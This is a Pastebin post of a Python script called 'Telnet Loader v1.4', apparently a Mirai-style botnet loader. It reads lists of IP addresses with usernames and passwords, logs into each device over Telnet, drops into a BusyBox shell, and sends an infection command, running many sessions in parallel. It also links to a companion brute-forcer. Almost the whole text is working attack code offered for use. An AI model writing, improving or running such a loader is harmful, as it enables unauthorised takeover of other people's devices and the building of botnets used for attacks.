Dr-L0v3

Telnet Loader v1.4 *Minor Bug Fixes*

Dec 21st, 2017
243
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.94 KB | None | 0 0
  1. #!/usr/bin/python
  2. # Telnet Loader v1.4 *Minor Bug Fix*
  3. # Update: Loads Mirai format lists and "ip:user:pass" regular lists simultaneously and fixed IndexError issue
  4. # Bruter: https://pastebin.com/ets6gMcv
  5.  
  6.  
  7.  
  8. import sys, re, os, socket, time
  9. from multiprocessing import Process
  10.  
  11. if len(sys.argv) < 2:
  12.     sys.exit("\033[37mUsage: python "+sys.argv[0]+" [list]")
  13.  
  14. cmd="" #command to send
  15. info = open(str(sys.argv[1]),'a+')
  16.  
  17. def readUntil(tn, string, timeout=8):
  18.     buf = ''
  19.     start_time = time.time()
  20.     while time.time() - start_time < timeout:
  21.         buf += tn.recv(1024)
  22.         time.sleep(0.01)
  23.         if string in buf: return buf
  24.     raise Exception('TIMEOUT!')
  25.  
  26.  
  27. def infect(ip,username,password):
  28.     ip = str(ip).rstrip("\n")
  29.     username = username.rstrip("\n")
  30.     password = password.rstrip("\n")
  31.     try:
  32.         tn = socket.socket()
  33.         tn.settimeout(10)
  34.         tn.connect((ip,23))
  35.     except Exception:
  36.         tn.close()
  37.     try:
  38.         hoho = ''
  39.         hoho += readUntil(tn, "ogin")
  40.         if "ogin" in hoho:
  41.             tn.send(username + "\n")
  42.             time.sleep(0.09)
  43.     except Exception:
  44.         tn.close()
  45.     try:
  46.         hoho = ''
  47.         hoho += readUntil(tn, "assword:")
  48.         if "assword" in hoho:
  49.             tn.send(password + "\n")
  50.             time.sleep(0.8)
  51.         else:
  52.             pass
  53.     except Exception:
  54.         tn.close()
  55.     try:
  56.         prompt = ''
  57.         prompt += tn.recv(40960)
  58.         if ">" in prompt and "ONT" not in prompt:
  59.             try:
  60.                 success = False
  61.                 tn.send("cat | sh" + "\n")
  62.                 time.sleep(0.1)
  63.                 timeout = 8
  64.                 data = ["BusyBox", "Built-in"]
  65.                 tn.send("sh" + "\n")
  66.                 time.sleep(0.01)
  67.                 tn.send("busybox" + "\r\n")
  68.                 buf = ''
  69.                 start_time = time.time()
  70.                 while time.time() - start_time < timeout:
  71.                     buf += tn.recv(40960)
  72.                     time.sleep(0.01)
  73.                     for info in data:
  74.                         if info in buf and "unrecognized" not in buf:
  75.                             success = True
  76.                             break
  77.             except:
  78.                 pass
  79.         elif "#" in prompt or "$" in prompt or "%" in prompt or "@" in prompt:
  80.             try:
  81.                 success = False
  82.                 timeout = 8
  83.                 data = ["BusyBox", "Built-in"]
  84.                 tn.send("sh" + "\n")
  85.                 time.sleep(0.01)
  86.                 tn.send("shell" + "\n")
  87.                 time.sleep(0.01)
  88.                 tn.send("help" + "\n")
  89.                 time.sleep(0.01)
  90.                 tn.send("busybox" + "\r\n")
  91.                 buf = ''
  92.                 start_time = time.time()
  93.                 while time.time() - start_time < timeout:
  94.                     buf += tn.recv(40960)
  95.                     time.sleep(0.01)
  96.                     for info in data:
  97.                         if info in buf and "unrecognized" not in buf:
  98.                             success = True
  99.                             break
  100.             except:
  101.                 pass
  102.         else:
  103.             tn.close()
  104.         if success == True:
  105.             try:
  106.                 tn.send(cmd + "\n")
  107.                 print "\033[32m[\033[31m+\033[32m] \033[33mCommand Sent !!!\033[32m %s"%(ip)
  108.                 time.sleep(20)
  109.                 tn.close()
  110.             except:
  111.                 tn.close()
  112.         tn.close()
  113.     except Exception:
  114.         tn.close()
  115.  
  116. for x in info:
  117.     try:
  118.         if ":23 " in x:
  119.             x = x.replace(":23 ", ":")
  120.         xinfo = x.split(":")
  121.         session = Process(target=infect, args=(xinfo[0].rstrip("\n"),xinfo[1].rstrip("\n"),xinfo[2].rstrip("\n"),))
  122.         session.start()
  123.         ip=xinfo[0]
  124.         username=xinfo[1]
  125.         password=xinfo[2]
  126.         time.sleep(0.01)
  127.     except:
  128.         pass
  129. session.join()
Add Comment
Please, Sign In to add comment